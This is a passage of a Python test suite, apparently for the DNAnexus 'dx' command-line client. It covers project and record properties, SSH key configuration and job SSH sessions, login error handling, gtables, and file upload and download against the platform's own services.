-a Ψ ''") with self.assertSubprocessFailure(stderr_regexp='property_key', exit_code=3): run("dx set_properties -a Ψ foo=bar=baz") with self.assertSubprocessFailure(stderr_regexp='property_key', exit_code=3): run("dx set_properties -a Ψ =foo=bar=") with self.assertSubprocessFailure(stderr_regexp='property_key', exit_code=3): run("dx set_properties -a Ψ foo") # Property keys must be nonempty with self.assertSubprocessFailure(stderr_regexp='nonempty strings', exit_code=3): run("dx set_properties -a Ψ =bar") # Empty string values should be okay run("dx set_properties -a Ψ bar=") my_properties = dxpy.api.record_describe(record_id, {"properties": True})['properties'] self.assertEqual(my_properties["bar"], "") def test_dx_project_properties(self): property_names = ["$my.prop", "secoиdprop", "тhird prop"] property_values = ["$hello.world", "Σ2,n", "stuff"] # set_properties run("dx set_properties : " + " ".join(["'" + prop[0] + "'='" + prop[1] + "'" for prop in zip(property_names, property_values)])) my_properties = dxpy.api.project_describe(self.project, {"properties": True})['properties'] for (name, value) in zip(property_names, property_values): self.assertIn(name, my_properties) self.assertEqual(value, my_properties[name]) # unset_properties run("dx unset_properties : '" + property_names[0] + "' '" + property_names[2] + "'") my_properties = dxpy.api.project_describe(self.project, {"properties": True})['properties'] self.assertIn(property_names[1], my_properties) self.assertEqual(property_values[1], my_properties[property_names[1]]) for name in [property_names[0], property_names[2]]: self.assertNotIn(name, my_properties) # nonexistent name with self.assertSubprocessFailure(stderr_regexp='Could not find a project named', exit_code=3): run("dx set_properties nonexistent: key=value") with self.assertSubprocessFailure(stderr_regexp='Could not find a project named', exit_code=3): run("dx unset_properties nonexistent: key") # Errors parsing --property value with self.assertSubprocessFailure(stderr_regexp='property_key', exit_code=3): run("dx set_properties : ''") with self.assertSubprocessFailure(stderr_regexp='property_key', exit_code=3): run("dx set_properties : foo=bar=baz") with self.assertSubprocessFailure(stderr_regexp='property_key', exit_code=3): run("dx set_properties : =foo=bar=") with self.assertSubprocessFailure(stderr_regexp='property_key', exit_code=3): run("dx set_properties : foo") # Property keys must be nonempty with self.assertSubprocessFailure(stderr_regexp='nonempty strings', exit_code=3): run("dx set_properties : =bar") # Empty string values should be okay run("dx set_properties : bar=") my_properties = dxpy.api.project_describe(self.project, {"properties": True})['properties'] self.assertEqual(my_properties["bar"], "") @unittest.skipUnless(testutil.TEST_ONLY_MASTER, 'skipping test that requires latest server version') def test_dx_describe_project(self): # Look for field name, some number of spaces, and then the value field_regexp = lambda fieldname, value: \ "(^|\n)" + re.escape(fieldname) + " +" + re.escape(value) + "(\n|$)" desc_output = run("dx describe :").strip() self.assertRegex(desc_output, field_regexp("ID", self.project)) self.assertRegex(desc_output, field_regexp("Name", "dxclient_test_pröject")) self.assertRegex(desc_output, field_regexp("Region", "aws:us-east-1")) self.assertRegex(desc_output, field_regexp("Contains PHI", "false")) self.assertNotRegex(desc_output, field_regexp("Archival state", "null")) self.assertNotRegex(desc_output, field_regexp("Archival progress", "null")) self.assertRegex(desc_output, field_regexp("Data usage", "0.00 GB")) self.assertRegex(desc_output, field_regexp("Storage cost", "$0.000/month")) self.assertRegex(desc_output, field_regexp("Sponsored egress", "0.00 GB used of 0.00 GB total")) self.assertRegex(desc_output, field_regexp("At spending limit?", "false")) self.assertRegex(desc_output, field_regexp("Properties", "-")) desc_output = run("dx describe --verbose :").strip() self.assertRegex(desc_output, field_regexp("Archival state", "live")) self.assertRegex(desc_output, field_regexp("Archival progress", "null")) def test_dx_remove_project_by_name(self): # TODO: this test makes no use of the DXTestCase-provided # project. project_name = ("test_dx_remove_project_by_name_" + str(random.randint(0, 1000000)) + "_" + str(int(time.time() * 1000))) project_id = run("dx new project {name} --brief".format(name=project_name)).strip() self.assertEqual(run("dx find projects --brief --name {name}".format(name=project_name)).strip(), project_id) run("dx rmproject -y {name}".format(name=project_name)) self.assertEqual(run("dx find projects --brief --name {name}".format(name=project_name)), "") @unittest.skipUnless(testutil.TEST_ISOLATED_ENV, 'skipping test that requires presence of test user') def test_dx_project_invite_without_email(self): user_id = 'user-000000000000000000000001' with temporary_project() as unique_project: project_id = unique_project.get_id() # Check that user is not already invited to project project_members = dxpy.api.project_describe(project_id, {'fields': {'permissions': True}})['permissions'] self.assertNotIn(user_id, project_members.keys()) # Test --no-email flag res = run("dx invite {user} {project} VIEW --no-email".format(user=user_id, project=project_id)).strip() exp = "Invited {user} to {project} (accepted)".format(user=user_id, project=project_id) self.assertEqual(res, exp) # Confirm user in project conf = dxpy.api.project_describe(project_id, {'fields': {'permissions': True}})['permissions'] self.assertEqual(conf[user_id], 'VIEW') def test_dx_cp(self): project_name = "test_dx_cp_" + str(random.randint(0, 1000000)) + "_" + str(int(time.time() * 1000)) dest_project_id = run("dx new project {name} --brief".format(name=project_name)).strip() try: record_id = run("dx new record --brief --details '{\"hello\": 1}'").strip() run("dx close --wait {r}".format(r=record_id)) self.assertEqual(run("dx ls --brief {p}".format(p=dest_project_id)), "") run("dx cp {r} {p}".format(r=record_id, p=dest_project_id)) self.assertEqual(run("dx ls --brief {p}".format(p=dest_project_id)).strip(), record_id) finally: run("dx rmproject -y {p}".format(p=dest_project_id)) def test_dx_mkdir(self): with self.assertRaises(subprocess.CalledProcessError): run("dx mkdir mkdirtest/b/c") run("dx mkdir -p mkdirtest/b/c") run("dx mkdir -p mkdirtest/b/c") run("dx rm -r mkdirtest") @unittest.skip('PTFM-16383 Disable flaky test') def test_dxpy_session_isolation(self): for var in 'DX_PROJECT_CONTEXT_ID', 'DX_PROJECT_CONTEXT_NAME', 'DX_CLI_WD': if var in os.environ: del os.environ[var] shell1 = pexpect.spawn("bash") shell2 = pexpect.spawn("bash") shell1.logfile = shell2.logfile = sys.stdout shell1.setwinsize(20, 90) shell2.setwinsize(20, 90) def expect_dx_env_cwd(shell, wd): shell.expect(self.project) shell.expect(wd) shell.expect([">", "#", "$"]) # prompt shell1.sendline("dx select "+self.project) shell1.sendline("dx mkdir /sessiontest1") shell1.sendline("dx cd /sessiontest1") shell1.sendline("dx env") expect_dx_env_cwd(shell1, "sessiontest1") shell2.sendline("dx select "+self.project) shell2.sendline("dx mkdir /sessiontest2") shell2.sendline("dx cd /sessiontest2") shell2.sendline("dx env") expect_dx_env_cwd(shell2, "sessiontest2") shell2.sendline("bash -c 'dx env'") expect_dx_env_cwd(shell2, "sessiontest2") shell1.sendline("dx env") expect_dx_env_cwd(shell1, "sessiontest1") # Grandchild subprocess inherits session try: shell1.sendline("bash -c 'dx env'") expect_dx_env_cwd(shell1, "sessiontest1") except: print("*** TODO: FIXME: Unable to verify that grandchild subprocess inherited session") def test_dx_ssh_config_revoke(self): original_ssh_public_key = None user_id = dxpy.whoami() original_ssh_public_key = dxpy.api.user_describe(user_id).get("sshPublicKey") wd = tempfile.mkdtemp() os.mkdir(os.path.join(wd, ".dnanexus_config")) def revoke_ssh_public_key(args=["ssh_config", "--revoke"]): dx_ssh_config_revoke = pexpect.spawn("dx", args=args) dx_ssh_config_revoke.expect("revoked") def set_ssh_public_key(): dx_ssh_config = pexpect.spawn("dx ssh_config", env=override_environment(HOME=wd)) dx_ssh_config.logfile = sys.stdout dx_ssh_config.expect("Select an SSH key pair") dx_ssh_config.sendline("0") dx_ssh_config.expect("Enter passphrase") dx_ssh_config.sendline() dx_ssh_config.expect("again") dx_ssh_config.sendline() dx_ssh_config.expect("Your account has been configured for use with SSH") def assert_same_ssh_pub_key(): self.assertTrue(os.path.exists(os.path.join(wd, ".dnanexus_config/ssh_id"))) with open(os.path.join(wd, ".dnanexus_config/ssh_id.pub")) as fh: self.assertEquals(fh.read(), dxpy.api.user_describe(user_id).get('sshPublicKey')) try: # public key exists set_ssh_public_key() assert_same_ssh_pub_key() revoke_ssh_public_key() self.assertNotIn("sshPublicKey", dxpy.api.user_describe(user_id)) # public key does not exist revoke_ssh_public_key() self.assertNotIn("sshPublicKey", dxpy.api.user_describe(user_id)) # random input after '--revoke' revoke_ssh_public_key(args=["ssh_config", '--revoke', 'asdf']) self.assertNotIn("sshPublicKey", dxpy.api.user_describe(user_id)) finally: if original_ssh_public_key: dxpy.api.user_update(user_id, {"sshPublicKey": original_ssh_public_key}) def test_dx_ssh_config(self): original_ssh_public_key = None try: user_id = dxpy.whoami() original_ssh_public_key = dxpy.api.user_describe(user_id).get('sshPublicKey') wd = tempfile.mkdtemp() def get_dx_ssh_config(): dx_ssh_config = pexpect.spawn("dx ssh_config", env=override_environment(HOME=wd)) dx_ssh_config.logfile = sys.stdout dx_ssh_config.setwinsize(20, 90) return dx_ssh_config def read_back_pub_key(): self.assertTrue(os.path.exists(os.path.join(wd, ".dnanexus_config/ssh_id"))) with open(os.path.join(wd, ".dnanexus_config/ssh_id.pub")) as fh: self.assertEqual(fh.read(), dxpy.api.user_describe(user_id).get('sshPublicKey')) dx_ssh_config = get_dx_ssh_config() dx_ssh_config.expect("The DNAnexus configuration directory") dx_ssh_config.expect("does not exist") os.mkdir(os.path.join(wd, ".dnanexus_config")) dx_ssh_config = get_dx_ssh_config() dx_ssh_config.expect("Select an SSH key pair") dx_ssh_config.sendline("1") dx_ssh_config.expect("Enter the location of your SSH key") dx_ssh_config.sendline("нет ключа") dx_ssh_config.expect("Unable to find") dx_ssh_config = get_dx_ssh_config() dx_ssh_config.expect("Select an SSH key pair") dx_ssh_config.sendline("0") dx_ssh_config.expect("Enter passphrase") dx_ssh_config.sendline() dx_ssh_config.expect("again") dx_ssh_config.sendline() dx_ssh_config.expect("Your account has been configured for use with SSH") read_back_pub_key() dx_ssh_config = get_dx_ssh_config() dx_ssh_config.expect("Select an SSH key pair") dx_ssh_config.expect("already configured") dx_ssh_config.sendline("0") dx_ssh_config.expect("Your account has been configured for use with SSH") read_back_pub_key() dx_ssh_config = get_dx_ssh_config() dx_ssh_config.expect("Select an SSH key pair") dx_ssh_config.expect("already configured") dx_ssh_config.sendline("1") dx_ssh_config.expect("Generate a new SSH key pair") dx_ssh_config.sendline("0") dx_ssh_config.expect("Enter passphrase") dx_ssh_config.sendline() dx_ssh_config.expect("again") dx_ssh_config.sendline() dx_ssh_config.expect("Your account has been configured for use with SSH") read_back_pub_key() # Ensure that private key upload is rejected with open(os.path.join(wd, ".dnanexus_config", "ssh_id")) as private_key: with self.assertRaisesRegexp(DXAPIError, 'Tried to put a private key in the sshPublicKey field'): dxpy.api.user_update(user_id, {"sshPublicKey": private_key.read()}) finally: if original_ssh_public_key: dxpy.api.user_update(user_id, {"sshPublicKey": original_ssh_public_key}) @contextmanager def configure_ssh(self): original_ssh_public_key = None try: user_id = dxpy.whoami() original_ssh_public_key = dxpy.api.user_describe(user_id).get('sshPublicKey') wd = tempfile.mkdtemp() os.mkdir(os.path.join(wd, ".dnanexus_config")) dx_ssh_config = pexpect.spawn("dx ssh_config", env=override_environment(HOME=wd)) dx_ssh_config.logfile = sys.stdout dx_ssh_config.setwinsize(20, 90) dx_ssh_config.expect("Select an SSH key pair") dx_ssh_config.sendline("0") dx_ssh_config.expect("Enter passphrase") dx_ssh_config.sendline() dx_ssh_config.expect("again") dx_ssh_config.sendline() dx_ssh_config.expect("Your account has been configured for use with SSH") yield wd finally: if original_ssh_public_key: dxpy.api.user_update(user_id, {"sshPublicKey": original_ssh_public_key}) @unittest.skipUnless(testutil.TEST_RUN_JOBS, "Skipping test that would run jobs") def test_dx_ssh(self): with self.configure_ssh() as wd: sleep_applet = dxpy.api.applet_new(dict(name="sleep", runSpec={"code": "sleep 1200", "interpreter": "bash", "execDepends": [{"name": "dx-toolkit"}]}, inputSpec=[], outputSpec=[], dxapi="1.0.0", version="1.0.0", project=self.project))["id"] dx = pexpect.spawn("dx run {} --yes --ssh".format(sleep_applet), env=override_environment(HOME=wd)) dx.logfile = sys.stdout dx.setwinsize(20, 90) dx.expect("Waiting for job") dx.expect("Resolving job hostname and SSH host key", timeout=1200) # Wait for the line displayed between the first and second MOTDs, # since we only care about checking the second set of MOTD lines. # Example of the dividing line: # dnanexus@job-BP90K3Q0X2v81PXXPZj005Zj.dnanex.us (10.0.0.200) - byobu dx.expect(["dnanexus.io \(10.0.0.200\) - byobu", "dnanex.us \(10.0.0.200\) - byobu"], timeout=120) dx.expect("This is the DNAnexus Execution Environment", timeout=600) # Check for job name (e.g. "Job: sleep") dx.expect("Job: \x1b\[1msleep", timeout=5) # \xf6 is ö dx.expect("Project: dxclient_test_pr\xf6ject".encode(sys_encoding)) dx.expect("The job is running in terminal 1.", timeout=5) # Check for terminal prompt and verify we're in the container job_id = dxpy.find_jobs(name="sleep", project=self.project).next()['id'] dx.expect(("dnanexus@%s" % job_id), timeout=10) # Make sure the job can be connected to using 'dx ssh <job id>' dx2 = pexpect.spawn("dx ssh " + job_id, env=override_environment(HOME=wd)) dx2.logfile = sys.stdout dx2.setwinsize(20, 90) dx2.expect("Waiting for job") dx2.expect("Resolving job hostname and SSH host key", timeout=1200) dx2.expect(("dnanexus@%s" % job_id), timeout=10) dx2.sendline("whoami") dx2.expect("dnanexus", timeout=10) # Exit SSH session and terminate job dx2.sendline("exit") dx2.expect("bash running") dx2.sendcontrol("c") # CTRL-c dx2.expect("[exited]") dx2.expect("dnanexus@job", timeout=10) dx2.sendline("exit") dx2.expect("still running. Terminate now?") dx2.sendline("y") dx2.expect("Terminated job", timeout=60) @unittest.skipUnless(testutil.TEST_RUN_JOBS, "Skipping test that would run jobs") def test_dx_run_debug_on(self): with self.configure_ssh() as wd: crash_applet = dxpy.api.applet_new(dict(name="crash", runSpec={"code": "exit 5", "interpreter": "bash", "execDepends": [{"name": "dx-toolkit"}]}, inputSpec=[], outputSpec=[], dxapi="1.0.0", version="1.0.0", project=self.project))["id"] job_id = run("dx run {} --yes --brief --debug-on AppInternalError".format(crash_applet), env=override_environment(HOME=wd)).strip() elapsed = 0 while True: job_desc = dxpy.describe(job_id) if job_desc["state"] == "debug_hold": break time.sleep(1) elapsed += 1 if elapsed > 1200: raise Exception("Timeout while waiting for job to enter debug hold") dx = pexpect.spawn("dx ssh " + job_id, env=override_environment(HOME=wd)) dx.logfile = sys.stdout dx.setwinsize(20, 90) dx.expect("dnanexus@", timeout=1200) @unittest.skipUnless(testutil.TEST_DX_LOGIN, 'This test requires authserver to run, requires dx login to select the right authserver, ' + 'and may result in temporary account lockout. TODO: update test instrumentation to allow ' + 'it to run') def test_dx_login(self): wd = tempfile.mkdtemp() username = dxpy.user_info()['username'] def get_dx_login(opts=""): dx_login = pexpect.spawn("dx login" + opts, env=override_environment(HOME=wd)) dx_login.logfile = sys.stdout dx_login.setwinsize(20, 90) return dx_login dx_login = get_dx_login(" --token BAD_TOKEN") dx_login.expect("The token could not be found") dx_login.close() self.assertEqual(dx_login.exitstatus, 1) dx_login = get_dx_login(" --auth-token BAD_TOKEN") dx_login.expect("The token could not be found") dx_login.close() self.assertEqual(dx_login.exitstatus, 1) dx_login = get_dx_login() dx_login.expect("Acquiring credentials") dx_login.expect("Username") dx_login.sendline(username) dx_login.expect("Password: ") dx_login.sendline("wrong passwörd") dx_login.expect("Incorrect username and/or password") dx_login.expect("Username") dx_login.sendline() dx_login.expect("Password: ") dx_login.sendline("wrong passwörd") dx_login.expect("Incorrect username and/or password") dx_login.expect("Username") dx_login.sendline() dx_login.expect("Password: ") dx_login.sendline("wrong passwörd") dx_login.expect("dx: Incorrect username and/or password") dx_login.close() self.assertEqual(dx_login.exitstatus, EXPECTED_ERR_EXIT_STATUS) def test_dx_with_bad_job_id_env(self): env = override_environment(DX_JOB_ID="foobar") run("dx env", env=env) @unittest.skipUnless(testutil.TEST_WITH_AUTHSERVER, 'skipping tests that require a running authserver') def test_dx_http_request_handles_auth_errors(self): # The JSON content cannot be processed. with self.assertRaises(HTTPError): dxpy.DXHTTPRequest(dxpy.get_auth_server_name() + "/oauth2/token", {"grant_type": "authorization_code", "redirect_uri": "/", "client_id": "apiserver"}, prepend_srv=False, max_retries=0) class TestDXNewRecord(DXTestCase): def test_new_record_basic(self): run("dx new record -o :foo --verbose") record_id = run("dx new record -o :foo2 --brief --visibility hidden --property foo=bar " + "--property baz=quux --tag onetag --tag twotag --type foo --type bar " + "--details '{\"hello\": \"world\"}'").strip() self.assertEqual(record_id, run("dx ls :foo2 --brief").strip()) self.assertEqual({"hello": "world"}, json.loads(run("dx get -o - :foo2"))) second_record_id = run("dx new record :somenewfolder/foo --parents --brief").strip() self.assertEqual(second_record_id, run("dx ls :somenewfolder/foo --brief").strip()) # describe run("dx describe {record}".format(record=record_id)) desc = json.loads(run("dx describe {record} --details --json".format(record=record_id))) self.assertEqual(desc['tags'], ['onetag', 'twotag']) self.assertEqual(desc['types'], ['foo', 'bar']) self.assertEqual(desc['properties'], {"foo": "bar", "baz": "quux"}) self.assertEqual(desc['details'], {"hello": "world"}) self.assertEqual(desc['hidden'], True) desc = json.loads(run("dx describe {record} --json".format(record=second_record_id))) self.assertEqual(desc['folder'], '/somenewfolder') run("dx rm :foo") run("dx rm :foo2") run("dx rm -r :somenewfolder") def test_dx_new_record_with_close(self): record_id = run("dx new record --close --brief").strip() self.assertEqual("closed", dxpy.describe(record_id)['state']) second_record_id = run("dx new record --brief").strip() self.assertEqual("open", dxpy.describe(second_record_id)['state']) @unittest.skipUnless(testutil.TEST_ENV, 'skipping test that would clobber your local environment') def test_new_record_without_context(self): # Without project context, cannot create new object without # project qualified path with without_project_context(): with self.assertSubprocessFailure(stderr_regexp='expected the path to be qualified with a project', exit_code=3): run("dx new record foo") # Can create object with explicit project qualifier record_id = run("dx new record --brief " + self.project + ":foo").strip() self.assertEqual(dxpy.DXRecord(record_id).name, "foo") class TestGTables(DXTestCase): def test_dx_gtables(self): # new gtable gri_gtable_id = run("dx new gtable --gri mychr mylo myhi " + "--columns mychr,mylo:int32,myhi:int32 --brief --property hello=world " + "--details '{\"hello\":\"world\"}' --visibility visible").strip() # Add rows to it (?) # TODO: make this better. add_rows_input = {"data": [["chr", 1, 10], ["chr2", 3, 13], ["chr1", 3, 10], ["chr1", 11, 13], ["chr1", 5, 12]]} run("dx api {gt} addRows '{rows}'".format(gt=gri_gtable_id, rows=json.dumps(add_rows_input))) # close run("dx close {gt} --wait".format(gt=gri_gtable_id)) # describe desc = json.loads(run("dx describe {gt} --details --json".format(gt=gri_gtable_id))) self.assertEqual(desc['types'], ['gri']) self.assertEqual(desc['indices'], [{"type": "genomic", "name": "gri", "chr": "mychr", "lo": "mylo", "hi": "myhi"}]) self.assertEqual(desc['properties'], {"hello": "world"}) self.assertEqual(desc['details'], {"hello": "world"}) self.assertEqual(desc['hidden'], False) # gri query self.assertEqual(run("dx export tsv {gt} --gri chr1 1 10 -o -".format(gt=gri_gtable_id)), '\r\n'.join(['mychr:string\tmylo:int32\tmyhi:int32', 'chr1\t3\t10', 'chr1\t5\t12', ''])) # "get" is not supported on gtables with self.assertSubprocessFailure(stderr_regexp='given object is of class gtable', exit_code=3): run("dx get {gt}".format(gt=gri_gtable_id)) # Download and re-import with gri with tempfile.NamedTemporaryFile(suffix='.csv') as fd: run("dx export tsv {gt} -o {fd} -f".format(gt=gri_gtable_id, fd=fd.name)) fd.flush() run("dx import tsv {fd} -o gritableimport --gri mychr mylo myhi --wait".format(fd=fd.name)) # Also, upload and download the file just to test out upload/download run("dx upload {fd} -o uploadedfile --wait".format(fd=fd.name)) run("dx download uploadedfile -f") run("dx download uploadedfile -o -") try: os.remove("uploadedfile") except IOError: pass second_desc = json.loads(run("dx describe gritableimport --json")) self.assertEqual(second_desc['types'], ['gri']) self.assertEqual(second_desc['indices'], [{"type": "genomic", "name": "gri", "chr": "mychr", "lo": "mylo", "hi": "myhi"}]) self.assertEqual(desc['size'], second_desc['size']) self.assertEqual(desc['length'], second_desc['length']) @unittest.skipUnless(testutil.TEST_ENV, 'skipping test that would clobber your local environment') def test_dx_new_gtable_without_context(self): # Without project context, cannot create new object without # project qualified path with without_project_context(): with self.assertSubprocessFailure(stderr_regexp='expected the path to be qualified with a project', exit_code=3): run("dx new gtable --columns mychr,mylo:int32,myhi:int32 foo") # Can create object with explicit project qualifier gtable_id = run( "dx new gtable --brief --columns mychr,mylo:int32,myhi:int32 " + self.project + ":foo").strip() self.assertEqual(dxpy.DXGTable(gtable_id).name, "foo") class TestDXWhoami(DXTestCase): def test_dx_whoami_name(self): whoami_output = run("dx whoami").strip() self.assertEqual(whoami_output, dxpy.api.user_describe(dxpy.whoami())['handle']) def test_dx_whoami_id(self): whoami_output = run("dx whoami --id").strip() self.assertEqual(whoami_output, dxpy.whoami()) class TestDXClientUploadDownload(DXTestCase): def test_dx_upload_download(self): with self.assertSubprocessFailure(stderr_regexp='expected the path to be a non-empty string', exit_code=3): run('dx download ""') wd = tempfile.mkdtemp() os.mkdir(os.path.join(wd, "a")) os.mkdir(os.path.join(wd, "a", "б")) os.mkdir(os.path.join(wd, "a", "б", "c")) with tempfile.NamedTemporaryFile(dir=os.path.join(wd, "a", "б")) as fd: fd.write("0123456789ABCDEF"*64) fd.flush() with self.assertSubprocessFailure(stderr_regexp='is a directory but the -r/--recursive option was not given', exit_code=1): run("dx upload "+wd) run("dx upload -r "+wd) run('dx wait "{f}"'.format(f=os.path.join(os.path.basename(wd), "a", "б", os.path.basename(fd.name)))) with self.assertSubprocessFailure(stderr_regexp='is a folder but the -r/--recursive option was not given', exit_code=1): run("dx download "+os.path.basename(wd)) old_dir = os.getcwd() with chdir(tempfile.mkdtemp()): run("dx download -r "+os.path.basename(wd)) tree1 = check_output("cd {wd}; find .".format(wd=wd), shell=True) tree2 = check_output("cd {wd}; find .".format(wd=os.path.basename(wd)), shell=True) self.assertEqual(tree1, tree2) with chdir(tempfile.mkdtemp()): os.mkdir('t') run("dx download -r -o t "+os.path.basename(wd)) tree1 = check_output("cd {wd}; find .".format(wd=wd), shell=True) tree2 = check_output("cd {wd}; find .".format(wd=os.path.join("t", os.path.basename(wd))), shell=True) self.assertEqual(tree1, tree2) os.mkdir('t2') run("dx download -o t2 "+os.path.join(os.path.basename(wd), "a", "б", os.path.basename(fd.name))) self.assertEqual(os.stat(os.path.join("t2", os.path.basename(fd.name))).st_size, len("0123456789ABCDEF"*64)) with chdir(tempfile.mkdtemp()), temporary_project('dx download test proj') as other_project: run("dx mkdir /super/") run("dx mv '{}' /super/".format(os.path.basename(wd))) # Specify an absolute path in another project with select_project(other_project): run("dx download -r '{proj}:/super/{path}'".format(proj=self.project, path=os.path.basename(wd))) tree1 = check_output("cd {wd} && find .".format(wd=wd), shell=True) tree2 = check_output("cd {wd} && find .".format(wd=os.path.basename(wd)), shell=True) self.assertEqual(tree1, tree2) # Now specify a relative path in the same project with chdir(tempfile.mkdtemp()), select_project(self.project): run("dx download -r super/{path}/".format(path=os.path.basename(wd))) tree3 = check_output("cd {wd} && find .".format(wd=os.path.basename(wd)), shell=True) self.assertEqual(tree1, tree3) with self.assertSubprocessFailure(stderr_regexp="paths are both file and folder names", exit_code=1): cmd = "dx cd {d}; dx mkdir {f}; dx download -r {f}*" run(cmd.format(d=os.path.join("/super", os.path.basename(wd), "a", "б"), f=os.path.basename(fd.name))) @unittest.skipUnless(testutil.TEST_WITH_AUTHSERVER, 'skipping tests that require a running authserver') def test_dx_upload_with_upload_perm(self): with temporary_project('test proj with UPLOAD perms', reclaim_permissions=True) as temp_project: data = {"scope": {"projects": {"*": "UPLOAD"}}} upload_only_auth_token = dxpy.DXHTTPRequest(dxpy.get_auth_server_name() + '/system/newAuthToken', data, prepend_srv=False, always_retry=True) token_callable = dxpy.DXHTTPOAuth2({"auth_token": upload_only_auth_token["access_token"], "auth_token_type": upload_only_auth_token["token_type"], "auth_token_signature": upload_only_auth_token["token_signature"]}) testdir = tempfile.mkdtemp() try: # Filename provided with path with open(os.path.join(testdir, 'myfilename'), 'w') as f: f.write('foo') remote_file = dxpy.upload_local_file(filename=os.path.join(testdir, 'myfilename'), project=temp_project.get_id(), folder='/', auth=token_callable) self.assertEqual(remote_file.name, 'myfilename') # Filename provided with file handle remote_file2 = dxpy.upload_local_file(file=open(os.path.join(testdir, 'myfilename')), project=temp_project.get_id(), folder='/', auth=token_callable) self.assertEqual(remote_file2.name, 'myfilename') finally: shutil.rmtree(testdir) @unittest.skipUnless(testutil.TEST_ENV, 'skipping test that would clobber your local environment') def test_dx_download_no_env(self): testdir = tempfile.mkdtemp() with tempfile.NamedTemporaryFile(dir=testdir) as fd: fd.write("foo") fd.flush() file_id = run("dx upload " + fd.name + " --brief --wait").strip() self.assertTrue(file_id.startswith('file-')) # download file output_path = os.path.join(testdir, 'output') with without_project_context(): run('dx download ' + file_id + ' -o ' + output_path) run('cmp ' + output_path + ' ' + fd.name) @unittest.skipUnless(testutil.TEST_ENV, 'skipping test that would clobber your local environment') def test_dx_upload_no_env(self): # Without project context, cannot upload to a # non-project-qualified destination with without_project_context(): with self.assertSubprocessFailure(stderr_regexp='expected the path to be qualified with a project', exit_code=3): run("dx upload --path foo /dev/null") # Can upload to a path specified with explicit project qualifier file_id = run("dx upload --brief --path " + self.project + ":foo /dev/null").strip() self.assertEqual(dxpy.DXFile(file_id).name, "foo") def test_dx_make_download_url(self): testdir = tempfile.mkdtemp() output_testdir = tempfile.mkdtemp() with tempfile.NamedTemporaryFile(dir=testdir) as fd: fd.write("foo") fd.flush() file_id = run("dx upload " + fd.name + " --brief --wait").strip() self.assertTrue(file_id.startswith('file-')) # download file download_url = run("dx make_download_url " + file_id).strip() run("wget -P " + output_testdir + " " + download_url) run('cmp ' + os.path.join(output_testdir, os.path.basename(fd.name)) + ' ' + fd.name) # download file with a different name download_url = run("dx make_download_url " + file_id + " --filename foo") run("wget -P " + output_testdir + " " + download_url) run('cmp ' + os.path.join(output_testdir, "foo") + ' ' + fd.name) def test_dx_make_download_url_project_affinity(self): # Ensure that URLs created with make_download_url never have project # affinity. In particular, ensures that download URLs created in a job # (when the workspace is set to a container) continue to work after the # job has terminated with temporary_project("make_download_url test 2") as temp_project_2: with temporary_project("make_download_url test 1", select=True) as temp_project_1: fh = dxpy.upload_string("foo", project=temp_project_1.get_id(), wait_on_close=True) # file now appears in both projects temp_project_1.clone(temp_project_2.get_id(), objects=[fh.get_id()]) download_url = run("dx make_download_url " + fh.get_id()).strip() run("wget -O /dev/null " + download_url) # Even after project 1 is destroyed, the download URL should still work with self.assertSubprocessFailure(stderr_regexp="Not Found", exit_code=8): run("wget -O /dev/null " + download_url) def test_dx_upload_mult_paths(self): testdir = tempfile.mkdtemp() os.mkdir(os.path.join(testdir, 'a')) with tempfile.NamedTemporaryFile(dir=testdir) as fd: fd.write("root-file") fd.flush() with tempfile.NamedTemporaryFile(dir=os.path.join(testdir, "a")) as fd2: fd2.write("a-file") fd2.flush() run(("dx upload -r {testdir}/{rootfile} {testdir}/a " + "--wait").format(testdir=testdir, rootfile=os.path.basename(fd.name))) listing = run("dx ls").split("\n") self.assertIn("a/", listing) self.assertIn(os.path.basename(fd.name), listing) listing = run("dx ls a").split("\n") self.assertIn(os.path.basename(fd2.name), listing) def test_dx_upload_mult_paths_with_dest(self): testdir = tempfile.mkdtemp() os.mkdir(os.path.join(testdir, 'a')) with tempfile.NamedTemporaryFile(dir=testdir) as fd: fd.write("root-file") fd.flush() with tempfile.NamedTemporaryFile(dir=os.path.join(testdir, "a")) as fd2: fd2.write("a-file") fd2.flush() run("dx mkdir /destdir") run(("dx upload -r {testdir}/{rootfile} {testdir}/a --destination /destdir " + "--wait").format(testdir=testdir, rootfile=os.path.basename(fd.name))) listing = run("dx ls /destdir/").split("\n") self.assertIn("a/", listing) self.assertIn(os.path.basename(fd.name), listing) listing = run("dx ls /destdir/a").split("\n") self.assertIn(os.path.basename(fd2.name), listing) @unittest.skipUnless(testutil.TEST_RUN_JOBS, "Skipping test that would run jobs") def test_dx_download_by_job_id_and_output_field(self): test_project_name = 'PTFM-13437' test_file_name = 'test_file_01' expected_result = 'asdf1234...' with temporary_project(test_project_name, select=True) as temp_project: temp_project_id = temp_project.get_id() # Create and run minimal applet to generate output file. code_str = """import dxpy @dxpy.entry_point('main') def main(): test_file_01 = dxpy.upload_string('{exp_res}', name='{filename}') output = {{}} output['{filename}'] = dxpy.dxlink(test_file_01) return output dxpy.run() """ code_str = code_str.format(exp_res=expected_result, filename=test_file_name) app_spec = {"name": "test_applet_dx_download_by_jbor", "project": temp_project_id, "dxapi": "1.0.0", "inputSpec": [], "outputSpec": [{"name": test_file_name, "class": "file"}], "runSpec": {"code": code_str, "interpreter": "python2.7"}, "version": "1.0.0"} applet_id = dxpy.api.applet_new(app_spec)['id'] applet = dxpy.DXApplet(applet_id) job = applet.run({}, project=temp_project_id) job.wait_on_done() job_id = job.get_id() # Case: Correctly specify "<job_id>:<output_field>"; save to file. with chdir(tempfile.mkdtemp()): run("dx download " + job_id + ":" + test_file_name) with open(test_file_name) as fh: result = fh.read() self.assertEqual(expected_result, result) # Case: Correctly specify file id; print to stdout. test_file_id = dxpy.DXFile(job.describe()['output'][test_file_name]).get_id() result = run("dx download " + test_file_id + " -o -").strip() self.assertEqual(expected_result, result) # Case: Correctly specify file name; print to stdout. result = run("dx download " + test_file_name + " -o -").strip() self.assertEqual(expected_result, result) # Case: Correctly specify "<job_id>:<output_field>"; print to stdout. result = run("dx download " + job_id + ":" + test_file_name + " -o -").strip() self.assertEqual(expected_result, result) # Case: File does not exist. with self.assertSubprocessFailure(stderr_regexp="Unable to resolve", exit_code=3): run("dx download foo -o -") # Case: Invalid output field name when specifying <job_id>:<output_field>. with self.assertSubprocessFailure(stderr_regexp="Could not find", exit_code=3): run("dx download " + job_id + ":foo -o -") # In a directory structure like: # ROOT/ # X.txt # A/ # B/ # Make sure that files/subdirs are not downloaded twice. This checks that we fixed # PTFM-14106. def test_dx_download_root_recursive(self): data = "ABCD" def gen_file(fname, proj_id): dxfile = dxpy.upload_string(data, name=fname, project=proj_id, 